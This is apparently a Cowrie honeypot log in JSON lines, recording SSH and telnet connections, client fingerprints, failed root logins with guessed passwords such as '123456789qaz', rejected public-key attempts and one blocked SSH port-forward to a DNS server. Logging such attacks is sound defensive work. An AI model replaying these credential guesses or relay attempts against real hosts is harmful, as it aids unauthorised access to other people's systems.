{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:04:29.545524Z","src_ip":"87.251.64.176","session":"f977b51aaaa3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:04:29.655779Z","src_ip":"87.251.64.176","session":"f977b51aaaa3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.24038600921631,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:04:36.590599Z","src_ip":"152.42.224.71","session":"de5a4960ebf0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":40116,"dst_ip":"159.203.135.109","dst_port":22,"session":"e79249c5318d","protocol":"ssh","message":"New connection: 103.183.114.55:40116 (159.203.135.109:22) [session: e79249c5318d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:04:41.566419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:04:41.573029Z","src_ip":"103.183.114.55","session":"e79249c5318d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:04:41.804814Z","src_ip":"103.183.114.55","session":"e79249c5318d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"135791","message":"login attempt [root/135791] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:04:42.500492Z","src_ip":"103.183.114.55","session":"e79249c5318d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33940,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4f1d3da6200","protocol":"telnet","message":"New connection: 152.42.224.71:33940 (10.17.0.5:23) [session: f4f1d3da6200]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:04:43.634021Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:04:43.742766Z","src_ip":"103.183.114.55","session":"e79249c5318d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.988609313964844,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:04:51.538197Z","src_ip":"152.42.224.71","session":"417f1c0ce60f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":35370,"dst_ip":"10.17.0.5","dst_port":22,"session":"434b39cce7de","protocol":"ssh","message":"New connection: 87.251.79.125:35370 (10.17.0.5:22) [session: 434b39cce7de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:04:57.959594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:04:57.965046Z","src_ip":"87.251.79.125","session":"434b39cce7de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:04:58.036420Z","src_ip":"87.251.79.125","session":"434b39cce7de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fortuna","message":"login attempt [root/fortuna] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:04:58.250670Z","src_ip":"87.251.79.125","session":"434b39cce7de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:04:59.326110Z","src_ip":"87.251.79.125","session":"434b39cce7de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":27.414060592651367,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:05:11.047979Z","src_ip":"152.42.224.71","session":"f4f1d3da6200","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:05:23.335502Z","src_ip":"46.19.67.181","session":"a104d54f182c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":44578,"dst_ip":"10.17.0.5","dst_port":23,"session":"b968fd842111","protocol":"telnet","message":"New connection: 213.108.3.46:44578 (10.17.0.5:23) [session: b968fd842111]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:05:49.420545Z"}
{"eventid":"cowrie.session.closed","duration":0.014411211013793945,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:05:49.434871Z","src_ip":"213.108.3.46","session":"b968fd842111","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":47906,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ae790cde1ba","protocol":"ssh","message":"New connection: 103.77.242.62:47906 (159.203.135.109:22) [session: 9ae790cde1ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:05:58.070564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:05:58.075257Z","src_ip":"103.77.242.62","session":"9ae790cde1ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:05:58.317624Z","src_ip":"103.77.242.62","session":"9ae790cde1ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789qaz","message":"login attempt [root/123456789qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:05:59.044832Z","src_ip":"103.77.242.62","session":"9ae790cde1ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:06:00.290477Z","src_ip":"103.77.242.62","session":"9ae790cde1ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":105.31653499603271,"message":"Connection lost after 105 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:06:06.684882Z","src_ip":"152.42.224.71","session":"95ac2394277a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42370,"dst_ip":"10.17.0.5","dst_port":23,"session":"6903cec0a37f","protocol":"telnet","message":"New connection: 152.42.224.71:42370 (10.17.0.5:23) [session: 6903cec0a37f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:06:21.276080Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.57.172.212","src_port":55232,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf1d3e4d64df","protocol":"ssh","message":"New connection: 69.57.172.212:55232 (10.17.0.5:22) [session: cf1d3e4d64df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:06:28.484243Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:06:28.491215Z","src_ip":"69.57.172.212","session":"cf1d3e4d64df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:06:28.693011Z","src_ip":"69.57.172.212","session":"cf1d3e4d64df","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"85:bc:40:93:36:61:58:1d:cb:08:44:af:ef:4c:aa:4b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDxW/Ux0/pB3sRiE/Leb/taTVEwQK6KkkrkTXbthDCaxhUSEbF0Aa1izlbqDLNMbRqfJA5IW6GI1XGiCIlHBjSiSAMRR5xLwBM3H3zgZTH3rJhhUZyOH+vxIE1+XXoD4B6CuvGlMdqOknLc/3a3rU21t4Sq2jH58Ee8Fp7Bns5JfqSq2bVd9sPl1njUGuQonA4Zjxyg4Di5Bde6ykKs0P4jgVOX8yxQt+OOH4NX83LEcdeW2smpUGHXibGjpHRfjopw2lgIXGvwYOrZ3/7qGpKnDao2+Bo7Ej+WcbD/hVKYR+r6QKMP4k1mlus8XppGbjEmomLvIa1Su5Q/eloSYEo5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 85:bc:40:93:36:61:58:1d:cb:08:44:af:ef:4c:aa:4b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:06:29.653483Z","src_ip":"69.57.172.212","session":"cf1d3e4d64df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"85:bc:40:93:36:61:58:1d:cb:08:44:af:ef:4c:aa:4b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDxW/Ux0/pB3sRiE/Leb/taTVEwQK6KkkrkTXbthDCaxhUSEbF0Aa1izlbqDLNMbRqfJA5IW6GI1XGiCIlHBjSiSAMRR5xLwBM3H3zgZTH3rJhhUZyOH+vxIE1+XXoD4B6CuvGlMdqOknLc/3a3rU21t4Sq2jH58Ee8Fp7Bns5JfqSq2bVd9sPl1njUGuQonA4Zjxyg4Di5Bde6ykKs0P4jgVOX8yxQt+OOH4NX83LEcdeW2smpUGHXibGjpHRfjopw2lgIXGvwYOrZ3/7qGpKnDao2+Bo7Ej+WcbD/hVKYR+r6QKMP4k1mlus8XppGbjEmomLvIa1Su5Q/eloSYEo5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:06:29.657937Z","src_ip":"69.57.172.212","session":"cf1d3e4d64df","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b5:5f:66:8e:0c:fd:cf:8a:76:a5:c9:a7:f9:32:49:72","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuk8Qednmy/QeWv8T5fWocmUSdl1+VeTRsIDBjN2SuEV7X3UcOUGGzAc1ho9Z1O5GxBpwKcUebMn+IqGj+syw1xdJbCHhUIz9hpAdbkhcQ1aSB2cM4l6aitB/mD87hbli+vt8zeeEwA+fSN8UogcIvlN7L/JVlF6rEE5fUvjijrjnFPZ7xYfaTjKmwsU4mTJsEeuVZ//9gQEeDfjoSw+ZQQB6XY7IkhoND9XZs7c2qE73XGbEGu4meZgwXh0WMxRYLBgHomrzU0d/C7eRkLjSIeuTn6kCivupdkWIcerV3HndxHC3BtsV9G7sAgf9BzqX0diK2znbs6fwezd4D1XjP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b5:5f:66:8e:0c:fd:cf:8a:76:a5:c9:a7:f9:32:49:72","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:06:29.856512Z","src_ip":"69.57.172.212","session":"cf1d3e4d64df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b5:5f:66:8e:0c:fd:cf:8a:76:a5:c9:a7:f9:32:49:72","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuk8Qednmy/QeWv8T5fWocmUSdl1+VeTRsIDBjN2SuEV7X3UcOUGGzAc1ho9Z1O5GxBpwKcUebMn+IqGj+syw1xdJbCHhUIz9hpAdbkhcQ1aSB2cM4l6aitB/mD87hbli+vt8zeeEwA+fSN8UogcIvlN7L/JVlF6rEE5fUvjijrjnFPZ7xYfaTjKmwsU4mTJsEeuVZ//9gQEeDfjoSw+ZQQB6XY7IkhoND9XZs7c2qE73XGbEGu4meZgwXh0WMxRYLBgHomrzU0d/C7eRkLjSIeuTn6kCivupdkWIcerV3HndxHC3BtsV9G7sAgf9BzqX0diK2znbs6fwezd4D1XjP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:06:29.860469Z","src_ip":"69.57.172.212","session":"cf1d3e4d64df","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fc:e6:ad:0a:bc:05:db:d3:d5:c0:fe:06:57:2a:37:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDYQRMtYs9AR5JlVZbir9LWkzYw48eM8c+CXRf2goHqDK3SrnM4SjpVnOfd0NpcXaJ6qnMtXqCB9isVNSwzVq3JDDdCaoVV+DR4cVAERPhJoZbKt/1m91Md6Amr6+OJV93zAiLi0ZTgmy2gH5aZxNevNalaYX0242cFABLRmD8zLXAioBGmYjFj2g6PoIC1Zcmns1bHSrC41ZnVWX/OCqRDe4TGtD3OSnFw3YPBFksey3u0UFFPJSC21N/Ng2nD6332S/qkTtCWEVPGI//dK/cQQB1/P1u/GQqYGtt6yTJoC84WbRYdOHZHGyJs3GmZU2dqs7ek9O/SkG1+DirbNOiUk3qxczs9NxRU62ZTSLDQxBeDLj4crhXqwC1eRxJfi+ChuBr+xm+KD1NjxcwTsOaWUUdM+9nsOdGU9giPWj7hmUVy7n3WN/40cv7qCRc6ff6/GdPSIHWWAF5PJTf0Sb1hgNN3YzA6clKvuIRV2sapLMJGn10V4DaLo+sp9tvSg5SU/ljbySIUmfoTcq3jg509epDJGGZXIoq4Fj3gMC2R0OZdTaxJnqx9IJAsVNc2cL25ZsCge6CSDcriyHiDNKBbIJHwmw96RDzrY5st51JqMes17yCncboHPRXc5gxpnfhlATVFkdfyDBiDVn9r50cRZm/qXuV+/rwMPsNRT9gpTw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fc:e6:ad:0a:bc:05:db:d3:d5:c0:fe:06:57:2a:37:f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:06:30.058091Z","src_ip":"69.57.172.212","session":"cf1d3e4d64df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fc:e6:ad:0a:bc:05:db:d3:d5:c0:fe:06:57:2a:37:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDYQRMtYs9AR5JlVZbir9LWkzYw48eM8c+CXRf2goHqDK3SrnM4SjpVnOfd0NpcXaJ6qnMtXqCB9isVNSwzVq3JDDdCaoVV+DR4cVAERPhJoZbKt/1m91Md6Amr6+OJV93zAiLi0ZTgmy2gH5aZxNevNalaYX0242cFABLRmD8zLXAioBGmYjFj2g6PoIC1Zcmns1bHSrC41ZnVWX/OCqRDe4TGtD3OSnFw3YPBFksey3u0UFFPJSC21N/Ng2nD6332S/qkTtCWEVPGI//dK/cQQB1/P1u/GQqYGtt6yTJoC84WbRYdOHZHGyJs3GmZU2dqs7ek9O/SkG1+DirbNOiUk3qxczs9NxRU62ZTSLDQxBeDLj4crhXqwC1eRxJfi+ChuBr+xm+KD1NjxcwTsOaWUUdM+9nsOdGU9giPWj7hmUVy7n3WN/40cv7qCRc6ff6/GdPSIHWWAF5PJTf0Sb1hgNN3YzA6clKvuIRV2sapLMJGn10V4DaLo+sp9tvSg5SU/ljbySIUmfoTcq3jg509epDJGGZXIoq4Fj3gMC2R0OZdTaxJnqx9IJAsVNc2cL25ZsCge6CSDcriyHiDNKBbIJHwmw96RDzrY5st51JqMes17yCncboHPRXc5gxpnfhlATVFkdfyDBiDVn9r50cRZm/qXuV+/rwMPsNRT9gpTw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:06:30.064519Z","src_ip":"69.57.172.212","session":"cf1d3e4d64df","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"66:e2:0f:86:f9:0f:4b:43:d9:61:8c:fb:0e:ca:89:b2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3Q2hks2bp5LxIBo6WdBV9mPf8DULaDmNxmEU3dJvCfzauHjT+/FBJGMUOPwpFzmDYoAQLTMx2EnGrf8FDPxxFwT3VjCQucNJuX3ePqZOMQrUiVJu3hAjsmP6XOi9YD237B2Z6Aa917sU1OTGYCs5wf2MSgQVA8gQo8Qyyu068VsML5/hWD7Iwv0ky+Ppy4vd4poju5McJ/pr7s9h+QtlP0WauSshYwCVvDOovmjM08qztlO08LYHEoq9qgSFNPrVbwULsFvBv1bruorKakiQCpYtbJNoGfFKEyA+9zqNg2Eq/AAI44eYUDMpf9JKueT6yFShXFv19WMf1dFfQucDYQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 66:e2:0f:86:f9:0f:4b:43:d9:61:8c:fb:0e:ca:89:b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:06:30.263001Z","src_ip":"69.57.172.212","session":"cf1d3e4d64df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"66:e2:0f:86:f9:0f:4b:43:d9:61:8c:fb:0e:ca:89:b2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3Q2hks2bp5LxIBo6WdBV9mPf8DULaDmNxmEU3dJvCfzauHjT+/FBJGMUOPwpFzmDYoAQLTMx2EnGrf8FDPxxFwT3VjCQucNJuX3ePqZOMQrUiVJu3hAjsmP6XOi9YD237B2Z6Aa917sU1OTGYCs5wf2MSgQVA8gQo8Qyyu068VsML5/hWD7Iwv0ky+Ppy4vd4poju5McJ/pr7s9h+QtlP0WauSshYwCVvDOovmjM08qztlO08LYHEoq9qgSFNPrVbwULsFvBv1bruorKakiQCpYtbJNoGfFKEyA+9zqNg2Eq/AAI44eYUDMpf9JKueT6yFShXFv19WMf1dFfQucDYQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:06:30.267521Z","src_ip":"69.57.172.212","session":"cf1d3e4d64df","protocol":"ssh"}
